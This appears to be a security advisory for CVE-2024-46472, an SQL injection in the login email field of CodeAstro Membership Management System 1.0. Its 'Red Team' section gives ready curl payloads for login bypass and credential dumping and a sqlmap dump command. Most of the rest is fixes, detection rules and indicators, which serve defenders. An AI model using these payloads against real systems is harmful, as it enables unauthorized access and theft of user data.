CVE-2024-46472

Executive Summary

CVE-2024-46472 is a critical SQL Injection vulnerability in CodeAstro Membership Management System 1.0. The flaw resides in the email parameter of the login page, allowing an unauthenticated attacker to inject arbitrary SQL commands. Successful exploitation can lead to full database compromise, including extraction of user credentials, personal data, and potential lateral movement within the network. The vendor has not released a patch, and no official advisory exists. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the vulnerability is trivial to exploit and should be prioritized for remediation.

Note: This is a standalone PHP application, not a WordPress plugin. The vulnerability is in the application’s own login logic.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – impact confined to the vulnerable component.
• Confidentiality (C): High (H) – full database read access.
• Integrity (I): High (H) – ability to modify or delete data.
• Availability (A): High (H) – potential for denial of service via destructive queries.

CVSS Score: 9.8 (Critical)
Threat Level: Critical – immediate action required.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the login form. The application likely constructs a query similar to:

SELECT * FROM users WHERE email = '$email' AND password = '$password'

The email parameter is directly concatenated into the SQL query without sanitization or parameterized queries. An attacker can bypass authentication and extract data by injecting SQL metacharacters.

Example injection:
' OR '1'='1' -- -
This would make the query:

SELECT * FROM users WHERE email = '' OR '1'='1' -- -' AND password = '...'

The -- - comments out the rest of the query, allowing login as the first user (often admin). For data extraction, UNION-based injection can be used:

' UNION SELECT 1,2,3,4,5,6,7,8,9,10 -- -

The number of columns must match the original query. Blind injection techniques (time-based or boolean) are also viable if error messages are suppressed.

Vulnerable vs. Patched Code

Vulnerable code (login.php):

<?php
$email = $_POST['email'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE email = '$email' AND password = '$password'";
$result = mysqli_query($conn, $query);
if (mysqli_num_rows($result) > 0) {
    // login success
}
?>

Patched code (using prepared statements):

<?php
$email = $_POST['email'];
$password = $_POST['password'];
$stmt = $conn->prepare("SELECT * FROM users WHERE email = ? AND password = ?");
$stmt->bind_param("ss", $email, $password);
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
    // login success
}
?>

The patch replaces string concatenation with parameterized queries, preventing SQL injection entirely.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Download CodeAstro Membership Management System 1.0 from the official source (or a mirror).
2. Set up a local web server (Apache/Nginx) with PHP and MySQL.
3. Import the provided SQL schema and configure config.php.
4. Access the login page at http://localhost/membership/login.php.

Exploitation Steps:

1. Bypass Authentication:

   curl -X POST http://target/membership/login.php \
     -d "email=' OR '1'='1' -- -&password=anything"
   

   This logs in as the first user (likely admin).

2. Extract Database Version:

   curl -X POST http://target/membership/login.php \
     -d "email=' UNION SELECT 1,@@version,3,4,5,6,7,8,9,10 -- -&password=x"
   

   Adjust column count based on error messages.

3. Dump User Credentials:

   curl -X POST http://target/membership/login.php \
     -d "email=' UNION SELECT 1,group_concat(email,0x3a,password),3,4,5,6,7,8,9,10 FROM users -- -&password=x"
   

4. Automated Exploitation with sqlmap:

   sqlmap -u "http://target/membership/login.php" --data="email=test&password=test" \
     --batch --dump-all
   

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for abnormal SQL characters in POST parameters:

   grep -E "(\'|\-\-|UNION|SELECT|OR 1=1)" /var/log/apache2/access.log
   

2. Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
3. Enable database query logging and alert on suspicious queries.
4. Use a SIEM to correlate multiple failed login attempts with SQL keywords.

Honeypot Strategy:

• Deploy a decoy login page that logs all input and alerts on SQL injection attempts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /membership/login.php containing SQL keywords (UNION, SELECT, OR, --, #, ').
  • Unusual HTTP response sizes (indicating data extraction).
  • Multiple rapid login attempts from the same IP.

• Host IOCs:

  • Unexpected database queries in MySQL logs (e.g., SELECT * FROM users WHERE email = '' OR '1'='1').
  • New files in the web root (e.g., webshells uploaded via INTO OUTFILE).
  • Unauthorized user accounts created in the application.

• File IOCs:

  • Suspicious entries in /var/log/mysql/mysql.log or /var/log/mariadb/mariadb.log.

Detection Engineering

YARA Rule

rule CVE_2024_46472_SQLi_Login {
    meta:
        description = "Detects SQL injection attempts targeting CodeAstro Membership Management System login"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-46472"
    strings:
        $s1 = "email=" ascii wide nocase
        $s2 = "' OR " ascii wide nocase
        $s3 = "UNION SELECT" ascii wide nocase
        $s4 = "--" ascii wide nocase
        $s5 = "1=1" ascii wide nocase
    condition:
        all of ($s*) and filesize < 10KB
}

Sigma Rule

title: SQL Injection Attempt on CodeAstro Membership Login
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection patterns in POST requests to login.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/membership/login.php'
        cs-uri-query|contains:
            - "' OR "
            - "UNION SELECT"
            - "1=1"
            - "--"
            - "/*"
    condition: selection
falsepositives:
    - Legitimate use of apostrophes in names (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-46472 SQL Injection Attempt on CodeAstro Membership Login";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/membership/login.php"; http_uri;
    content:"email="; http_client_body;
    pcre:"/(\x27 OR |UNION SELECT|1=1|--)/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2024-46472;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected system from the network if possible.
2. Apply virtual patching via WAF rules to block SQL injection patterns.
3. Review database logs for signs of compromise and rotate all credentials.

Long-Term Fix:

• Replace all dynamic SQL queries with parameterized statements (prepared statements) in the application code.
• Implement input validation and output encoding.
• Upgrade to a patched version if the vendor releases one; otherwise, consider migrating to a different membership management solution.

Compensating Controls:

• Enforce least privilege for the database user used by the application.
• Enable database query logging and monitoring.
• Deploy a Web Application Firewall (WAF) with SQL injection prevention rules.

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